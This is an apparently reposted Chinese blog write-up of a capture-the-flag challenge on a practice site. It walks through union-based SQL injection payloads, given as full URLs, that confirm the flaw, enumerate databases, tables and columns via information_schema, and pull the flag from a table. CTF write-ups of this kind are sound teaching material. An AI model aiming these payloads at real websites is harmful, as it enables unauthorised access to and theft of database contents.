首页 > 其他 > 详细

实验吧这题看起来很简单

时间:2019-03-27 18:38:02      阅读:111      评论:0      收藏:0      [点我收藏+]

 

 

知识点:查询库名:union select 1,schema_name from information_schema.schemata

    查询表名:union select 1,table_name from information_schema.tables where table_schema=‘库名‘ 

    查询字段名:union select 1,column_name from information_schema.columns where table_name=‘表名‘

    查询信息:union select 1,名字 from 字段名

 

 

 

1.http://ctf5.shiyanbar.com/8/index.php?id=1 and 1 = 1

技术分享图片

没变,说明存在注入漏洞

 

2.http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,schema_name from information_schema.schemata

技术分享图片

 

3.http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,table_name from information_schema.tables where table_schema=‘my_db‘

技术分享图片

4.http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,column_name from information_schema.columns where table_name=‘thiskey‘

技术分享图片

5.http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,k0y from thiskey

技术分享图片

 

实验吧这题看起来很简单

原文:https://www.cnblogs.com/liqik/p/10609238.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!